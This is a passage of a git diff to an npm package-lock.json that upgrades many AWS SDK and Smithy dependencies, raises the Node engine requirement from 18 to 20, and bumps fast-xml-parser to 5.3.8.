"^4.2.7", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.6", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.982.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.4", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.16", - "@smithy/util-defaults-mode-node": "^4.2.19", - "@smithy/util-endpoints": "^3.2.7", - "@smithy/util-middleware": "^4.2.7", - "@smithy/util-retry": "^4.2.7", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-web-identity/node_modules/@aws-sdk/util-endpoints": { + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.982.0.tgz", + "integrity": "sha512-M27u8FJP7O0Of9hMWX5dipp//8iglmV9jr7R8SR8RveU+Z50/8TqH68Tu6wUWBGMfXjzbVwn1INIAO5lZrlxXQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/credential-provider-web-identity/node_modules/@smithy/is-array-buffer": { @@ -4677,157 +4323,109 @@ } }, "node_modules/@aws-sdk/eventstream-handler-node": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.957.0.tgz", - "integrity": "sha512-X3e/PBEl66efNCRR840IU2HM4oLMaP/Krc1w7vEqgKKhIbyiLRJ43NSrxNEYadQ19P/U0U7JHMCC9HbwhIMTeg==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.3.tgz", + "integrity": "sha512-uQbkXcfEj4+TrxTmZkSwsYRE9nujx9b6WeLoQkDsldzEpcQhtKIz/RHSB4lWe7xzDMfGCLUkwmSJjetGVcrhCw==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@smithy/eventstream-codec": "^4.2.7", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/eventstream-codec": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-bucket-endpoint": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-bucket-endpoint/-/middleware-bucket-endpoint-3.734.0.tgz", - "integrity": "sha512-etC7G18aF7KdZguW27GE/wpbrNmYLVT755EsFc8kXpZj8D6AFKxc7OuveinJmiy0bYXAMspJUWsF6CrGpOw6CQ==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-bucket-endpoint/-/middleware-bucket-endpoint-3.972.3.tgz", + "integrity": "sha512-fmbgWYirF67YF1GfD7cg5N6HHQ96EyRNx/rDIrTF277/zTWVuPI2qS/ZHgofwR1NZPe/NWvoppflQY01LrbVLg==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.734.0", - "@aws-sdk/util-arn-parser": "3.723.0", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", - "@smithy/util-config-provider": "^4.0.0", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-arn-parser": "^3.972.2", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", + "@smithy/util-config-provider": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/middleware-bucket-endpoint/node_modules/@aws-sdk/types": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.734.0.tgz", - "integrity": "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg==", + "node_modules/@aws-sdk/middleware-bucket-endpoint/node_modules/@aws-sdk/util-arn-parser": { + "version": "3.972.2", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-arn-parser/-/util-arn-parser-3.972.2.tgz", + "integrity": "sha512-VkykWbqMjlSgBFDyrY3nOSqupMc6ivXuGmvci6Q3NnLq5kC+mKQe2QBZ4nrWRE/jqOxeFP2uYzLtwncYYcvQDg==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.1.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-eventstream": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.957.0.tgz", - "integrity": "sha512-zFAx12yGEJcf35cnlv4zepqxZA0Z3orrhQdN7mjzvbHQGqDX+7gAnKEyTEsYdCD5ICZHuHxvhEnfE+pVIx0e7A==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.3.tgz", + "integrity": "sha512-pbvZ6Ye/Ks6BAZPa3RhsNjHrvxU9li25PMhSdDpbX0jzdpKpAkIR65gXSNKmA/REnSdEMWSD4vKUW+5eMFzB6w==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-expect-continue": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-expect-continue/-/middleware-expect-continue-3.734.0.tgz", - "integrity": "sha512-P38/v1l6HjuB2aFUewt7ueAW5IvKkFcv5dalPtbMGRhLeyivBOHwbCyuRKgVs7z7ClTpu9EaViEGki2jEQqEsQ==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-expect-continue/-/middleware-expect-continue-3.972.3.tgz", + "integrity": "sha512-4msC33RZsXQpUKR5QR4HnvBSNCPLGHmB55oDiROqqgyOc+TOfVu2xgi5goA7ms6MdZLeEh2905UfWMnMMF4mRg==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/middleware-expect-continue/node_modules/@aws-sdk/types": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.734.0.tgz", - "integrity": "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-flexible-checksums": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-flexible-checksums/-/middleware-flexible-checksums-3.758.0.tgz", - "integrity": "sha512-o8Rk71S08YTKLoSobucjnbj97OCGaXgpEDNKXpXaavUM5xLNoHCLSUPRCiEN86Ivqxg1n17Y2nSRhfbsveOXXA==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-flexible-checksums/-/middleware-flexible-checksums-3.972.3.tgz", + "integrity": "sha512-MkNGJ6qB9kpsLwL18kC/ZXppsJbftHVGCisqpEVbTQsum8CLYDX1Bmp/IvhRGNxsqCO2w9/4PwhDKBjG3Uvr4Q==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", - "@aws-sdk/core": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/is-array-buffer": "^4.0.0", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", - "@smithy/util-middleware": "^4.0.1", - "@smithy/util-stream": "^4.1.2", - "@smithy/util-utf8": "^4.0.0", + "@aws-sdk/core": "^3.973.5", + "@aws-sdk/crc64-nvme": "3.972.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/is-array-buffer": "^4.2.0", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-stream": "^4.5.10", + "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/middleware-flexible-checksums/node_modules/@aws-sdk/core": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.758.0.tgz", - "integrity": "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/core": "^3.1.5", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/property-provider": "^4.0.1", - "@smithy/protocol-http": "^5.0.1", - "@smithy/signature-v4": "^5.0.1", - "@smithy/smithy-client": "^4.1.6", - "@smithy/types": "^4.1.0", - "@smithy/util-middleware": "^4.0.1", - "fast-xml-parser": "4.4.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/middleware-flexible-checksums/node_modules/@aws-sdk/types": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.734.0.tgz", - "integrity": "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-flexible-checksums/node_modules/@smithy/is-array-buffer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.0.0.tgz", - "integrity": "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.0.tgz", + "integrity": "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ==", "license": "Apache-2.0", "dependencies": { "tslib": "^2.6.2" @@ -4837,12 +4435,12 @@ } }, "node_modules/@aws-sdk/middleware-flexible-checksums/node_modules/@smithy/util-buffer-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.0.0.tgz", - "integrity": "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.0.tgz", + "integrity": "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew==", "license": "Apache-2.0", "dependencies": { - "@smithy/is-array-buffer": "^4.0.0", + "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -4850,12 +4448,12 @@ } }, "node_modules/@aws-sdk/middleware-flexible-checksums/node_modules/@smithy/util-utf8": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.0.0.tgz", - "integrity": "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.0.tgz", + "integrity": "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw==", "license": "Apache-2.0", "dependencies": { - "@smithy/util-buffer-from": "^4.0.0", + "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -4863,84 +4461,62 @@ } }, "node_modules/@aws-sdk/middleware-host-header": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.957.0.tgz", - "integrity": "sha512-BBgKawVyfQZglEkNTuBBdC3azlyqNXsvvN4jPkWAiNYcY0x1BasaJFl+7u/HisfULstryweJq/dAvIZIxzlZaA==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.972.3.tgz", + "integrity": "sha512-aknPTb2M+G3s+0qLCx4Li/qGZH8IIYjugHMv15JTYMe6mgZO8VBpYgeGYsNMGCqCZOcWzuf900jFBG5bopfzmA==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-location-constraint": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-location-constraint/-/middleware-location-constraint-3.734.0.tgz", - "integrity": "sha512-EJEIXwCQhto/cBfHdm3ZOeLxd2NlJD+X2F+ZTOxzokuhBtY0IONfC/91hOo5tWQweerojwshSMHRCKzRv1tlwg==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-location-constraint/-/middleware-location-constraint-3.972.3.tgz", + "integrity": "sha512-nIg64CVrsXp67vbK0U1/Is8rik3huS3QkRHn2DRDx4NldrEFMgdkZGI/+cZMKD9k4YOS110Dfu21KZLHrFA/1g==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/types": "^4.1.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/middleware-location-constraint/node_modules/@aws-sdk/types": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.734.0.tgz", - "integrity": "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-logger": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.957.0.tgz", - "integrity": "sha512-w1qfKrSKHf9b5a8O76yQ1t69u6NWuBjr5kBX+jRWFx/5mu6RLpqERXRpVJxfosbep7k3B+DSB5tZMZ82GKcJtQ==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.972.3.tgz", + "integrity": "sha512-Ftg09xNNRqaz9QNzlfdQWfpqMCJbsQdnZVJP55jfhbKi1+FTWxGuvfPoBhDHIovqWKjqbuiew3HuhxbJ0+OjgA==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-recursion-detection": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.957.0.tgz", - "integrity": "sha512-D2H/WoxhAZNYX+IjkKTdOhOkWQaK0jjJrDBj56hKjU5c9ltQiaX/1PqJ4dfjHntEshJfu0w+E6XJ+/6A6ILBBA==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.972.3.tgz", + "integrity": "sha512-PY57QhzNuXHnwbJgbWYTrqIDHYSeOlhfYERTAuc16LKZpTZRJUjzBFokp9hF7u1fuGeE3D70ERXzdbMBOqQz7Q==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", + "@aws-sdk/types": "^3.973.1", "@aws/lambda-invoke-store": "^0.2.2", - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/middleware-recursion-detection/node_modules/@aws/lambda-invoke-store": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.2.tgz", - "integrity": "sha512-C0NBLsIqzDIae8HFw9YIrIBsbc0xTiOtt7fAukGPnqQ/+zZNaq+4jhuccltK0QuWHBnNm/a6kLIRA6GFiM10eg==", - "license": "Apache-2.0", - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-sdk-s3": { @@ -4983,7 +4559,7 @@ "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", - "fast-xml-parser": "4.4.1", + "fast-xml-parser": "5.3.8", "tslib": "^2.6.2" }, "engines": { @@ -5042,64 +4618,67 @@ } }, "node_modules/@aws-sdk/middleware-ssec": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-ssec/-/middleware-ssec-3.734.0.tgz", - "integrity": "sha512-d4yd1RrPW/sspEXizq2NSOUivnheac6LPeLSLnaeTbBG9g1KqIqvCzP1TfXEqv2CrWfHEsWtJpX7oyjySSPvDQ==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-ssec/-/middleware-ssec-3.972.3.tgz", + "integrity": "sha512-dU6kDuULN3o3jEHcjm0c4zWJlY1zWVkjG9NPe9qxYLLpcbdj5kRYBS2DdWYD+1B9f910DezRuws7xDEqKkHQIg==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/types": "^4.1.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/middleware-ssec/node_modules/@aws-sdk/types": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.734.0.tgz", - "integrity": "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-user-agent": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.957.0.tgz", - "integrity": "sha512-50vcHu96XakQnIvlKJ1UoltrFODjsq2KvtTgHiPFteUS884lQnK5VC/8xd1Msz/1ONpLMzdCVproCQqhDTtMPQ==", + "version": "3.972.6", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.972.6.tgz", + "integrity": "sha512-TehLN8W/kivl0U9HcS+keryElEWORROpghDXZBLfnb40DXM7hx/i+7OOjkogXQOF3QtUraJVRkHQ07bPhrWKlw==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@aws-sdk/util-endpoints": "3.957.0", - "@smithy/core": "^3.20.0", - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.982.0", + "@smithy/core": "^3.22.0", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-user-agent/node_modules/@aws-sdk/util-endpoints": { + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.982.0.tgz", + "integrity": "sha512-M27u8FJP7O0Of9hMWX5dipp//8iglmV9jr7R8SR8RveU+Z50/8TqH68Tu6wUWBGMfXjzbVwn1INIAO5lZrlxXQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/middleware-websocket": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.957.0.tgz", - "integrity": "sha512-/VyCEDTS56V2UZ+nNUDhZ9fuMgrKkO+9Od47umpgn9Mq7BZ7Cw9emJkvMSNNZAbtMeDaHN4lUYmmF8XhYgJOPQ==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.3.tgz", + "integrity": "sha512-/BjMbtOM9lsgdNgRZWUL5oCV6Ocfx1vcK/C5xO5/t/gCk6IwR9JFWMilbk6K6Buq5F84/lkngqcCKU2SRkAmOg==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@aws-sdk/util-format-url": "3.957.0", - "@smithy/eventstream-codec": "^4.2.7", - "@smithy/eventstream-serde-browser": "^4.2.7", - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/protocol-http": "^5.3.7", - "@smithy/signature-v4": "^5.3.7", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-format-url": "^3.972.3", + "@smithy/eventstream-codec": "^4.2.8", + "@smithy/eventstream-serde-browser": "^4.2.8", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/protocol-http": "^5.3.8", + "@smithy/signature-v4": "^5.3.8", + "@smithy/types": "^4.12.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" }, @@ -5108,227 +4687,74 @@ } }, "node_modules/@aws-sdk/middleware-websocket/node_modules/@aws-sdk/util-format-url": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-format-url/-/util-format-url-3.957.0.tgz", - "integrity": "sha512-Yyo/tlc0iGFGTPPkuxub1uRAv6XrnVnvSNjslZh5jIYA8GZoeEFPgJa3Qdu0GUS/YwoK8GOLnnaL9h/eH5LDJQ==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-format-url/-/util-format-url-3.972.3.tgz", + "integrity": "sha512-n7F2ycckcKFXa01vAsT/SJdjFHfKH9s96QHcs5gn8AaaigASICeME8WdUL9uBp8XV/OVwEt8+6gzn6KFUgQa8g==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@smithy/querystring-builder": "^4.2.7", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/querystring-builder": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/nested-clients": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.758.0.tgz", - "integrity": "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg==", + "version": "3.980.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.980.0.tgz", + "integrity": "sha512-/dONY5xc5/CCKzOqHZCTidtAR4lJXWkGefXvTRKdSKMGaYbbKsxDckisd6GfnvPSLxWtvQzwgRGRutMRoYUApQ==", + "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.758.0", - "@aws-sdk/middleware-host-header": "3.734.0", - "@aws-sdk/middleware-logger": "3.734.0", - "@aws-sdk/middleware-recursion-detection": "3.734.0", - "@aws-sdk/middleware-user-agent": "3.758.0", - "@aws-sdk/region-config-resolver": "3.734.0", - "@aws-sdk/types": "3.734.0", - "@aws-sdk/util-endpoints": "3.743.0", - "@aws-sdk/util-user-agent-browser": "3.734.0", - "@aws-sdk/util-user-agent-node": "3.758.0", - "@smithy/config-resolver": "^4.0.1", - "@smithy/core": "^3.1.5", - "@smithy/fetch-http-handler": "^5.0.1", - "@smithy/hash-node": "^4.0.1", - "@smithy/invalid-dependency": "^4.0.1", - "@smithy/middleware-content-length": "^4.0.1", - "@smithy/middleware-endpoint": "^4.0.6", - "@smithy/middleware-retry": "^4.0.7", - "@smithy/middleware-serde": "^4.0.2", - "@smithy/middleware-stack": "^4.0.1", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/node-http-handler": "^4.0.3", - "@smithy/protocol-http": "^5.0.1", - "@smithy/smithy-client": "^4.1.6", - "@smithy/types": "^4.1.0", - "@smithy/url-parser": "^4.0.1", - "@smithy/util-base64": "^4.0.0", - "@smithy/util-body-length-browser": "^4.0.0", - "@smithy/util-body-length-node": "^4.0.0", - "@smithy/util-defaults-mode-browser": "^4.0.7", - "@smithy/util-defaults-mode-node": "^4.0.7", - "@smithy/util-endpoints": "^3.0.1", - "@smithy/util-middleware": "^4.0.1", - "@smithy/util-retry": "^4.0.1", - "@smithy/util-utf8": "^4.0.0", + "@aws-sdk/core": "^3.973.5", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.5", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.980.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.3", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-base64": "^4.3.0", + "@smithy/util-body-length-browser": 